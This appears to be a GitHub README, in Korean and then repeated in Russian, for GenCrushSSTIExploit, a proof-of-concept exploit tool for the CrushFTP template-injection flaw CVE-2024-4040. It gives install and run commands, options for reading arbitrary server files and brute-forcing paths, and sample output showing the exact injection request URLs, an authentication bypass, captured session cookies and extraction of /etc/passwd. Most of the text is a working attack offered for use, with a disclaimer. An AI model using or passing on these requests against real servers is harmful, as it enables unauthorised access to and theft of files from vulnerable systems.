
CVE-2024-4040에 대한 PoC로, CrushFTP의 SSTI 취약점을 악용하는 도구입니다.
GenCrushSSTIExploit는 CrushFTP의 SSTI(서버 측 템플릿 인젝션) 취약점 CVE-2024-4040을 대상으로 하는 PoC 익스플로잇 도구입니다. 이 도구는 교육 및 윤리적 해킹 목적을 위해 해당 취약점을 어떻게 악용하는지 보여줍니다.
rich를 사용합니다.⚠️ 이 도구를 책임감 있게 사용하세요! 연구 및 교육 목적으로만 사용됩니다. 저자는 이 도구의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
pip (Python 패키지 설치 관리자)git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit
pip install -r requirements.txt
python GenCrushSSTIExploit.py -t <TARGET_URL>
-t / --target: 취약한 CrushFTP 서버의 대상 URL을 지정합니다.-l / --lfi: 로컬 파일 포함. 추출할 파일을 지정합니다.-w / --wordlist: 파일 경로를 브루트포싱하기 위한 워드리스트를 지정합니다.python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------
[*] Подключение к ServerSessionAJAX...
[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987
[*] Попытка эксплуатации уязвимости SSTI...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a
[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com
[*] Попытка обхода аутентификации...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a
[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...
GenCrushSSTIExploit — это PoC инструмент эксплуатации уязвимости SSTI (Server-Side Template Injection) в CrushFTP CVE-2024-4040. Этот инструмент демонстрирует, как использовать данную уязвимость в образовательных и этических целях.
rich для красивого и стилизованного вывода на консоль.⚠️ Используйте этот инструмент ответственно! Он предназначен только для исследований и образовательных целей. Автор не несет ответственности за любое неправильное использование или ущерб, причиненный этим инструментом.
pip (менеджер пакетов Python)git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit
pip install -r requirements.txt
python GenCrushSSTIExploit.py -t <ЦЕЛЕВОЙ_URL>
-t / --target: Указывает целевой URL уязвимого сервера CrushFTP.-l / --lfi: Включение локального файла. Указывает файл для извлечения.-w / --wordlist: Указывает словарь для перебора путей к файлам.python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------
[*] Подключение к ServerSessionAJAX...
[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987
[*] Попытка эксплуатации уязвимости SSTI...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a
[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com
[*] Попытка обхода аутентификации...
[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a
[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...